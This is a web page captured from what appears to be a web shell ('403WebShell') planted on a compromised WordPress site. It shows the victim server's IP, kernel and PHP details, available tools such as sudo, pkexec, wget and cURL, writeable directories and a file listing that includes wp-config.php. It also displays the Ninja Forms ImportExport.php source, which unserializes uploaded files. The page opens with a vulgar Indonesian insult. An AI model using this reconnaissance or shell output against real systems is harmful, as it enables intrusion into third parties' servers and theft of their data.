buyer kontol nego ga ngotak
comecondo.com
Linux Sandbox-A 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
Apache/2.4.18 (Ubuntu)
68.183.124.220
Cant read /etc/named.conf
Name
Type
Size
Owner/Group
Permission
Last Modified
Actions
.
dir
-
gavin/www-data
drwxr-sr-x
2024-12-15 11:41:30
..
dir
-
root/root
drwxr-xr-x
2019-08-25 02:29:45
.sucuriquarantine
dir
-
root/www-data
drwxr-sr-x
2024-05-24 05:31:33
home
dir
-
gavin/www-data
drwxrwsr-x
2026-05-23 05:31:31
worksheets
dir
-
gavin/www-data
drwxrwsr-x
2026-05-23 05:31:31
wp-admin
dir
-
gavin/www-data
drwxr-sr-x
2025-08-29 03:10:31
wp-content
dir
-
gavin/www-data
drwxrwsr-x
2026-05-23 05:31:31
wp-includes
dir
-
gavin/www-data
drwxr-sr-x
2021-06-27 11:01:30
.htaccess
text/plain
201 B
root/www-data
-rw-r--r--
2021-06-24 04:05:20
agent-contact-1.JPG
image/jpeg
22.78 KB
gavin/www-data
-rw-rw-r--
2022-01-31 05:13:10
circle-16.png
image/png
268 B
gavin/www-data
-rw-rw-r--
2021-01-11 04:23:00
index.html
text/html
11.06 KB
gavin/www-data
-rw-r--r--
2019-08-25 02:29:47
index.php
text/x-php
420 B
gavin/www-data
-rw-r--r--
2017-11-30 11:11:00
license.txt
text/plain
19.47 KB
gavin/www-data
-rw-r--r--
2019-01-01 08:37:49
map.php
text/html
1012 B
gavin/www-data
-rw-rw-r--
2021-01-01 03:50:38
pin-8-16.png
image/png
309 B
gavin/www-data
-rw-rw-r--
2021-01-11 04:38:33
pin-8-24.png
image/png
499 B
gavin/www-data
-rw-rw-r--
2021-01-11 04:40:01
pin-blue-1.png
image/png
28.16 KB
gavin/www-data
-rw-rw-r--
2022-01-27 09:10:36
pin-green-1.png
image/png
12.71 KB
gavin/www-data
-rw-rw-r--
2022-01-27 09:23:52
pin-house-red-2.png
image/png
1.36 KB
gavin/www-data
-rw-rw-r--
2022-01-30 09:18:10
pin-house-red-3.png
image/png
2.49 KB
gavin/www-data
-rw-rw-r--
2022-01-30 09:20:50
readme.html
text/html
7.27 KB
gavin/www-data
-rw-r--r--
2019-04-08 10:59:56
wallpaper1.jpg
image/jpeg
58.99 KB
gavin/www-data
-rw-rw-r--
2022-01-29 05:15:06
wallpaper2.jpg
image/jpeg
788.8 KB
gavin/www-data
-rw-rw-r--
2022-02-01 11:27:14
wp-activate.php
text/x-php
6.76 KB
gavin/www-data
-rw-r--r--
2019-01-12 06:41:52
wp-blog-header.php
text/x-php
369 B
gavin/www-data
-rw-r--r--
2017-11-30 11:11:00
wp-comments-post.php
text/x-php
2.23 KB
gavin/www-data
-rw-r--r--
2019-01-21 01:34:51
wp-config-sample.php
text/x-php
2.83 KB
gavin/www-data
-rw-r--r--
2020-10-24 04:07:41
wp-config.php
text/x-php
3.62 KB
gavin/www-data
-rw-r--r--
2022-04-20 01:23:49
wp-cron.php
text/x-php
3.76 KB
gavin/www-data
-rw-r--r--
2019-01-09 08:37:51
wp-links-opml.php
text/x-php
2.44 KB
gavin/www-data
-rw-r--r--
2019-01-16 05:29:49
wp-load.php
text/x-php
3.23 KB
gavin/www-data
-rw-r--r--
2017-11-30 11:11:00
wp-login.php
text/x-php
38.62 KB
gavin/www-data
-rw-r--r--
2019-06-10 01:34:45
wp-mail.php
text/x-php
8.21 KB
gavin/www-data
-rw-r--r--
2017-11-30 11:11:00
wp-settings.php
text/x-php
18.52 KB
gavin/www-data
-rw-r--r--
2019-03-28 07:04:51
wp-signup.php
text/x-php
30.36 KB
gavin/www-data
-rw-r--r--
2019-01-16 04:51:52
wp-trackback.php
text/x-php
4.65 KB
gavin/www-data
-rw-r--r--
2017-11-30 11:11:00
xmlrpc.php
text/x-php
3 KB
gavin/www-data
-rw-r--r--
2018-08-17 01:51:36
© BlackDragon
403WebShell 403Webshell
Server IP : 68.183.124.220 / Your IP : 216.73.216.228 Web Server : Apache/2.4.18 (Ubuntu) System : Linux Sandbox-A 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 User : gavin ( 1000 ) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : / var /www /html /wp-content /plugins /ninja-forms /includes /Admin /Menus / Upload File :
current_dir [ Writeable ]
document_root [ Writeable ]
Command :
[ Back ] Current File : /var/www/html/wp-content/plugins/ninja-forms/includes/Admin/Menus/ImportExport.php <?php if ( ! defined( 'ABSPATH' ) ) exit;
final class NF_Admin_Menus_ImportExport extends NF_Abstracts_Submenu
{
public $parent_slug = 'ninja-forms';
public $menu_slug = 'nf-import-export';
public function __construct()
{
add_action( 'init', array( $this, 'import_form_listener' ), 0 );
add_action( 'init', array( $this, 'export_form_listener' ), 0 );
add_action( 'init', array( $this, 'import_fields_listener' ), 0 );
add_action( 'init', array( $this, 'export_fields_listener' ), 0 );
add_filter( 'ninja_forms_before_import_fields', array( $this, 'import_fields_backwards_compatibility' ) );
parent::__construct();
add_action( 'admin_init', array( $this, 'nf_upgrade_redirect' ) );
}
/**
* If we have required updates, redirect to the main Ninja Forms page
*/
public function nf_upgrade_redirect() {
global $pagenow;
if( "1" == get_option( 'ninja_forms_needs_updates' ) ) {
remove_submenu_page( $this->parent_slug, $this->menu_slug );
if( 'admin.php' == $pagenow && 'nf-import-export' == $_GET[ 'page' ] ) {
wp_safe_redirect( admin_url( 'admin.php?page=ninja-forms' ), 301 );
exit;
}
}
}
public function get_page_title()
{
return __( 'Import / Export', 'ninja-forms' );
}
public function import_form_listener()
{
$capability = apply_filters( 'ninja_forms_admin_import_export_capabilities', 'manage_options' );
$capability = apply_filters( 'ninja_forms_admin_import_form_capabilities', $capability );
if( ! current_user_can( $capability ) ) return;
if( ! isset( $_REQUEST['nf_import_security'] )
|| ! wp_verify_nonce( $_REQUEST[ 'nf_import_security' ], 'ninja_forms_import_form_nonce' ) ) return;
if( ! isset( $_FILES[ 'nf_import_form' ] ) || ! $_FILES[ 'nf_import_form' ] ) return;
$this->upload_error_check( $_FILES[ 'nf_import_form' ] );
$data = file_get_contents( $_FILES[ 'nf_import_form' ][ 'tmp_name' ] );
// Check to see if the user turned off UTF-8 encoding
$decode_utf8 = TRUE;
if( isset( $_REQUEST[ 'nf_import_form_turn_off_encoding' ] ) &&
$_REQUEST[ 'nf_import_form_turn_off_encoding' ] ) {
$decode_utf8 = FALSE;
}
$import = Ninja_Forms()->form()->import_form( $data, $decode_utf8 );
if( ! $import ){
$err_msg = '';
if ( function_exists( 'json_last_error_msg' ) ) {
$err_msg = json_last_error_msg();
}
wp_die(
__( 'There uploaded file is not a valid format.', 'ninja-forms' ) . ' ' . $err_msg,
__( 'Invalid Form Upload.', 'ninja-forms' )
);
}
}
public function export_form_listener()
{
$capability = apply_filters( 'ninja_forms_admin_import_export_capabilities', 'manage_options' );
$capability = apply_filters( 'ninja_forms_admin_export_form_capabilities', $capability );
if( ! current_user_can( $capability ) ) return;
if( isset( $_REQUEST[ 'nf_export_form' ] ) && $_REQUEST[ 'nf_export_form' ] ){
$form_id = $_REQUEST[ 'nf_export_form' ];
Ninja_Forms()->form( $form_id )->export_form();
}
}
public function import_fields_listener()
{
if( ! current_user_can( apply_filters( 'ninja_forms_admin_import_fields_capabilities', 'manage_options' ) ) ) return;
if( ! isset( $_FILES[ 'nf_import_fields' ] ) || ! $_FILES[ 'nf_import_fields' ] ) return;
$this->upload_error_check( $_FILES[ 'nf_import_fields' ] );
$import = file_get_contents( $_FILES[ 'nf_import_fields' ][ 'tmp_name' ] );
$fields = unserialize( $import );
foreach( $fields as $settings ){
Ninja_Forms()->form()->import_field( $settings );
}
}
public function export_fields_listener()
{
if( ! current_user_can( apply_filters( 'ninja_forms_admin_export_fields_capabilities', 'manage_options' ) ) ) return;
if( isset( $_REQUEST[ 'nf_export_fields' ] ) && $_REQUEST[ 'nf_export_fields' ] ){
$field_ids = $_REQUEST[ 'nf_export_fields' ];
$fields = array();
foreach( $field_ids as $field_id ){
$field = Ninja_Forms()->form()->field( $field_id )->get();
$fields[] = $field->get_settings();
}
header("Content-type: application/csv");
header("Content-Disposition: attachment; filename=favorites-" . time() . ".nff");
header("Pragma: no-cache");
header("Expires: 0");
echo serialize( $fields );
die();
}
}
public function display()
{
$tabs = apply_filters( 'ninja_forms_import_export_tabs', array(
'forms' => __( 'Form', 'ninja-forms' ),
'favorite_fields' => __( 'Favorite Fields', 'ninja-forms' )
)
);
$tab_keys = array_keys( $tabs );
$active_tab = ( isset( $_GET[ 'tab' ] ) ) ? $_GET[ 'tab' ] : reset( $tab_keys );
$this->add_meta_boxes();
wp_enqueue_script('postbox');
wp_enqueue_script('jquery-ui-draggable');
wp_enqueue_style( 'nf-admin-settings', Ninja_Forms::$url . 'assets/css/admin-settings.css' );
wp_nonce_field( 'closedpostboxes', 'closedpostboxesnonce', false );
wp_nonce_field( 'meta-box-order', 'meta-box-order-nonce', false );
wp_register_script( 'ninja_forms_admin_import_export',
Ninja_Forms::$url . 'assets/js/admin-import-export.js', array( 'jquery' ), FALSE, TRUE );
wp_enqueue_script( 'ninja_forms_admin_import_export' );
wp_localize_script( 'ninja_forms_admin_import_export', 'nfAdmin', array(
'ajax_url' => admin_url( 'admin-ajax.php' ),
'batchNonce' => wp_create_nonce( 'ninja_forms_batch_nonce' ),
'i18n' => array(
'trashExpiredSubsMessage' => __( 'Are you sure you want to trash all expired submissions?', 'ninja-forms' ),
'trashExpiredSubsButtonPrimary' => __( 'Trash', 'ninja-forms' ),
'trashExpiredSubsButtonSecondary' => __( 'Cancel', 'ninja-forms' ),
),
'builderURL' => admin_url( 'admin.php?page=ninja-forms&form_id=' ),
));
wp_enqueue_script( 'jBox', Ninja_Forms::$url . 'assets/js/lib/jBox.min.js', array( 'jquery' ) );
wp_enqueue_style( 'jBox', Ninja_Forms::$url . 'assets/css/jBox.css' );
wp_enqueue_script( 'nf-ninja-modal', Ninja_Forms::$url . 'assets/js/lib/ninjaModal.js', array( 'jquery' ) );
wp_enqueue_script( 'nf-batch-processor', Ninja_Forms::$url . 'assets/js/lib/batch-processor.js', array( 'jquery' ) );
wp_enqueue_style( 'nf-font-awesome', Ninja_Forms::$url . 'assets/css/font-awesome.min.css' );
Ninja_Forms::template( 'admin-menu-import-export.html.php', compact( 'tabs', 'active_tab' ) );
}
public function add_meta_boxes()
{
/*
* Forms
*/
add_meta_box(
'nf_import_export_forms_import',
__( 'Import Forms', 'ninja-forms' ),
array( $this, 'template_import_forms' ),
'nf_import_export_forms'
);
add_meta_box(
'nf_import_export_forms_export',
__( 'Export Forms', 'ninja-forms' ),
array( $this, 'template_export_forms' ),
'nf_import_export_forms'
);
/*
* FAVORITE FIELDS
*/
add_meta_box(
'nf_import_export_favorite_fields_import',
__( 'Import Favorite Fields', 'ninja-forms' ),
array( $this, 'template_import_favorite_fields' ),
'nf_import_export_favorite_fields'
);
add_meta_box(
'nf_import_export_favorite_fields_export',
__( 'Export Favorite Fields', 'ninja-forms' ),
array( $this, 'template_export_favorite_fields' ),
'nf_import_export_favorite_fields'
);
}
public function template_import_forms()
{
Ninja_Forms::template( 'admin-metabox-import-export-forms-import.html.php' );
}
public function template_export_forms()
{
/**
* we're gonna create a new array so that we can select a form in the
* export drop down based on a url parameter
**/
$formObjs = Ninja_Forms()->form()->get_forms();
$forms = array();
foreach( $formObjs as $form ) {
$selected = '';
if( isset( $_REQUEST[ 'exportFormId' ] )
&& $form->get_id() == $_REQUEST[ 'exportFormId' ] ) {
$selected = 'selected';
}
$forms[] = array(
'id' => $form->get_id(),
'title' => $form->get_setting( 'title' ),
'selected' => $selected,
);
}
Ninja_Forms::template( 'admin-metabox-import-export-forms-export.html.php', compact( 'forms' ) );
}
public function template_import_favorite_fields()
{
Ninja_Forms::template( 'admin-metabox-import-export-favorite-fields-import.html.php' );
}
public function template_export_favorite_fields()
{
$fields = Ninja_Forms()->form()->get_fields( array( 'saved' => 1) );
Ninja_Forms::template( 'admin-metabox-import-export-favorite-fields-export.html.php', compact( 'fields' ) );
}
/*
|--------------------------------------------------------------------------
| Backwards Compatibility
|--------------------------------------------------------------------------
*/
public function import_fields_backwards_compatibility( $field )
{
//TODO: This was copied over. Instead need to abstract backwards compatibility for re-use.
// Flatten field settings array
if( isset( $field[ 'data' ] ) ){
$field = array_merge( $field, $field[ 'data' ] );
unset( $field[ 'data' ] );
}
// Drop form_id in favor of parent_id, which is set by the form.
if( isset( $field[ 'form_id' ] ) ){
unset( $field[ 'form_id' ] );
}
// Remove `_` prefix from type setting
$field[ 'type' ] = ltrim( $field[ 'type' ], '_' );
// Type: `text` -> `textbox`
if( 'text' == $field[ 'type' ] ){
$field[ 'type' ] = 'textbox';
}
if( 'submit' == $field[ 'type' ] ){
$field[ 'processing_label' ] = 'Processing';
}
if( 'calc' == $field[ 'type' ] ){
$field[ 'type' ] = 'note';
if( isset( $field[ 'calc_method' ] ) ) {
switch( $field[ 'calc_method' ] ){
case 'eq':
$method = __( 'Equation (Advanced)', 'ninja-forms' );
break;
case 'fields':
$method = __( 'Operations and Fields (Advanced)', 'ninja-forms' );
break;
case 'auto':
$method = __( 'Auto-Total Fields', 'ninja-forms' );
break;
default:
$method = '';
}
$field['default'] = $method . "\r\n";
if ('eq' == $field['calc_method'] && isset( $field['calc_eq'] ) ) {
$field['default'] .= $field['calc_eq'];
}
if ('fields' == $field['calc_method'] && isset( $field['calc'] ) ) {
// TODO: Support 'operations and fields (advanced)' calculations.
}
if ('auto' == $field['calc_method'] && isset( $field['calc'] ) ) {
// TODO: Support 'auto-totaling' calculations.
}
}
unset( $field[ 'calc' ] );
unset( $field[ 'calc_eq' ] );
unset( $field[ 'calc_method' ] );
}
if( isset( $field[ 'email' ] ) ){
if( 'textbox' == $field[ 'type' ] && $field[ 'email' ] ) {
$field['type'] = 'email';
}
unset( $field[ 'email' ] );
}
if( isset( $field[ 'class' ] ) ){
$field[ 'element_class' ] = $field[ 'class' ];
unset( $field[ 'class' ] );
}
if( isset( $field[ 'req' ] ) ){
$field[ 'required' ] = $field[ 'req' ];
unset( $field[ 'req' ] );
}
if( isset( $field[ 'default_value_type' ] ) ){
/* User Data */
if( '_user_id' == $field[ 'default_value_type' ] ) $field[ 'default' ] = '{user:id}';
if( '_user_email' == $field[ 'default_value_type' ] ) $field[ 'default' ] = '{user:email}';
if( '_user_lastname' == $field[ 'default_value_type' ] ) $field[ 'default' ] = '{user:last_name}';
if( '_user_firstname' == $field[ 'default_value_type' ] ) $field[ 'default' ] = '{user:first_name}';
if( '_user_display_name' == $field[ 'default_value_type' ] ) $field[ 'default' ] = '{user:display_name}';
/* Post Data */
if( 'post_id' == $field[ 'default_value_type' ] ) $field[ 'default' ] = '{post:id}';
if( 'post_url' == $field[ 'default_value_type' ] ) $field[ 'default' ] = '{post:url}';
if( 'post_title' == $field[ 'default_value_type' ] ) $field[ 'default' ] = '{post:title}';
/* System Data */
if( 'today' == $field[ 'default_value_type' ] ) $field[ 'default' ] = '{system:date}';
/* Miscellaneous */
if( '_custom' == $field[ 'default_value_type' ] && isset( $field[ 'default_value' ] ) ){
$field[ 'default' ] = $field[ 'default_value' ];
}
if( 'querystring' == $field[ 'default_value_type' ] && isset( $field[ 'default_value' ] ) ){
$field[ 'default' ] = '{' . $field[ 'default_value' ] . '}';
}
unset( $field[ 'default_value' ] );
unset( $field[ 'default_value_type' ] );
}
if( 'list' == $field[ 'type' ] ) {
if ( isset( $field[ 'list_type' ] ) ) {
if ('dropdown' == $field['list_type']) {
$field['type'] = 'listselect';
}
if ('radio' == $field['list_type']) {
$field['type'] = 'listradio';
}
if ('checkbox' == $field['list_type']) {
$field['type'] = 'listcheckbox';
}
if ('multi' == $field['list_type']) {
$field['type'] = 'listmultiselect';
}
}
if( isset( $field[ 'list' ][ 'options' ] ) ) {
$field[ 'options' ] = $field[ 'list' ][ 'options' ];
unset( $field[ 'list' ][ 'options' ] );
}
}
// Convert `textbox` to other field types
foreach( array( 'fist_name', 'last_name', 'user_zip', 'user_city', 'user_phone', 'user_email', 'user_address_1', 'user_address_2', 'datepicker' ) as $item ) {
if ( isset( $field[ $item ] ) && $field[ $item ] ) {
$field[ 'type' ] = str_replace( array( '_', 'user', '1', '2', 'picker' ), '', $item );
unset( $field[ $item ] );
}
}
if( 'timed_submit' == $field[ 'type' ] ) {
$field[ 'type' ] = 'submit';
}
return $field;
}
private function upload_error_check( $file )
{
if( ! $file[ 'error' ] ) return;
switch ( $file[ 'error' ] ) {
case UPLOAD_ERR_INI_SIZE:
$error_message = __( 'The uploaded file exceeds the upload_max_filesize directive in php.ini.', 'ninja-forms' );
break;
case UPLOAD_ERR_FORM_SIZE:
$error_message = __( 'The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form.', 'ninja-forms' );
break;
case UPLOAD_ERR_PARTIAL:
$error_message = __( 'The uploaded file was only partially uploaded.', 'ninja-forms' );
break;
case UPLOAD_ERR_NO_FILE:
$error_message = __( 'No file was uploaded.', 'ninja-forms' );
break;
case UPLOAD_ERR_NO_TMP_DIR:
$error_message = __( 'Missing a temporary folder.', 'ninja-forms' );
break;
case UPLOAD_ERR_CANT_WRITE:
$error_message = __( 'Failed to write file to disk.', 'ninja-forms' );
break;
case UPLOAD_ERR_EXTENSION:
$error_message = __( 'File upload stopped by extension.', 'ninja-forms' );
break;
default:
$error_message = __( 'Unknown upload error.', 'ninja-forms' );
break;
}
$args = array(
'title' => __( 'File Upload Error', 'ninja-forms' ),
'message' => $error_message,
'debug' => $file,
);
$message = Ninja_Forms()->template( 'admin-wp-die.html.php', $args );
wp_die( $message, $args[ 'title' ], array( 'back_link' => TRUE ) );
}
public function get_capability()
{
return apply_filters( 'ninja_forms_admin_import_export_capabilities', $this->capability );
}
}
Youez - 2016 - github.com/yon3zuLinuXploit